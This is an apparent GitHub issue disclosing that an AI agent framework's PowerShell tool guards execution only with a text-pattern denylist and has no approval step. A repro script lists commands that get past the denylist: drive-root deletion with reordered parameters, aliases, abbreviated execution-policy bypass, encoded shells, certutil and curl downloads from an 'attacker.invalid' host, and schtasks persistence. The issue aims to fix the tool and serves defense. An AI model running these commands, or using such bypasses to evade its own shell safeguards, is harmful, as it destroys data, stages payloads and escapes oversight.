Skip to content

tool-pwsh: strict profile misses every blocked class; no approval layer #407

Description

Summary

The pwsh tool in microsoft/amplifier-bundle-windows-shell (modules/tool-pwsh; that repo has issues disabled, so filing here) runs every command through a text-pattern denylist (strict is the default profile) and then executes it directly. Two problems, in order of importance:

  1. The tool exposes no approval surface at all, while its bash sibling ships with approval on by default. amplifier-module-tool-bash defaults require_approval: True and publishes get_metadata() returning requires_approval plus approval_hints.risk_level: "high". The pwsh module has no equivalent — PwshTool.execute() calls the safety check and, on pass, hands the command straight to the runner. Whatever the pattern layer misses therefore runs with zero confirmation steps.

  2. The pattern layer misses every class it exists to block — including one of its own documented controls on the most natural way to spell the command.

A documented control fails on its own canonical spelling

safety.py blocks recursive deletion of a drive root with:

r"Remove-Item\b[^\n]*-Recurse\b[^\n]*(-Path\s+)?([\"']?[A-Za-z]:\\[\"']?\s|[\"']?[A-Za-z]:\\[\"']?$)"

The regex requires -Recurse to appear before the path. PowerShell accepts parameters in any order, so the plain spelling of the command goes through:

'Remove-Item -Recurse C:\\'   -> allowed=False  reason='Recursive deletion of a drive root'
'Remove-Item C:\\ -Recurse'   -> allowed=True
'del C:\\ -Recurse'           -> allowed=True   (alias form)

Other classes the strict profile does not catch

The check matches command text — literal spellings at command position — never the parsed command, resolved aliases, expanded parameters, or decoded payloads:

  • Aliases: ri <file> (delete), gc <file> > <copy> (read + redirection) — the Remove-Item and elevation patterns match only full spellings.
  • Abbreviated parameters: powershell -EP Bypass -File x.ps1 — the pattern spells out -ExecutionPolicy; PowerShell accepts any unambiguous prefix.
  • Encoded grandchild shells: pwsh -EncodedCommand <base64 UTF-16LE> — the payload is never decoded for checking (the shipped runner itself uses this exact convention to carry the user command).
  • Native acquisition tools: certutil -urlcache -f http://… <out>, curl.exe -o <out> http://….
  • Persistence: schtasks /create /tn … /tr cmd.exe ….
  • Anything else not on the list: validate() ends in "Default: allow".

Repro (offline, shipped bytes at HEAD)

Against modules/tool-pwsh/amplifier_module_tool_pwsh/safety.py (blob 71adc743):

import amplifier_module_tool_pwsh.safety as safety

v = safety.SafetyValidator(profile="strict")
for cmd in [
    "Remove-Item -Recurse C:\\",
    "Remove-Item C:\\ -Recurse",
    "del C:\\ -Recurse",
    "ri victimfile.txt",
    "powershell -ExecutionPolicy Bypass -File x.ps1",
    "powershell -EP Bypass -File x.ps1",
    "gc secret.txt > out.txt",
    "pwsh -EncodedCommand AAAAAAAA",
    "certutil -urlcache -f http://attacker.invalid/p out.bin",
    "curl.exe -o staged.bin http://attacker.invalid/f",
    "schtasks /create /tn t /tr cmd.exe /sc once /st 23:59",
]:
    r = v.validate(cmd)
    print(f"{cmd!r:58s} -> allowed={r.allowed}" + (f"  reason={r.reason!r}" if not r.allowed else ""))

Verbatim output:

'Remove-Item -Recurse C:\\'                                -> allowed=False  reason='Recursive deletion of a drive root'
'Remove-Item C:\\ -Recurse'                                -> allowed=True
'del C:\\ -Recurse'                                        -> allowed=True
'ri victimfile.txt'                                        -> allowed=True
'powershell -ExecutionPolicy Bypass -File x.ps1'           -> allowed=False  reason='Execution-policy bypass via command-line switch'
'powershell -EP Bypass -File x.ps1'                        -> allowed=True
'gc secret.txt > out.txt'                                  -> allowed=True
'pwsh -EncodedCommand AAAAAAAA'                            -> allowed=True
'certutil -urlcache -f http://attacker.invalid/p out.bin'  -> allowed=True
'curl.exe -o staged.bin http://attacker.invalid/f'         -> allowed=True
'schtasks /create /tn t /tr cmd.exe /sc once /st 23:59'    -> allowed=True

PwshTool composes exactly this check with the shipped PwshRunner, which spawns pwsh -NoProfile … -EncodedCommand … and runs the command via [scriptblock]::Create($decoded) — full-language, no constraints. So a "pass" is a direct execution with no further gate.

Suggested direction

  • Approval parity: give the pwsh tool the same approval wiring the bash tool already has (get_metadata() with requires_approval), so the default posture for shell execution is confirmation, not pattern matching.
  • Decide on parsed structure, not text: parse with [System.Management.Automation.Language.Parser]::ParseInput and admit only allowlisted command shapes, or run under ConstrainedLanguage with InitialSessionState command restrictions. The module docstring already names the AST option and defers it until "the pattern-based layer proves insufficient in practice" — the corpus above is evidence it has.
  • If patterns stay, normalize before matching: resolve aliases (Get-Command), expand abbreviated parameters, canonicalize parameter order, decode -EncodedCommand payloads and check them recursively, and reject nested shells (pwsh / powershell / cmd / bash as command keywords) and interpreter wrappers carrying quoted payloads.

Verified at HEAD fd58d714 (default branch main), 2026-09-20.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions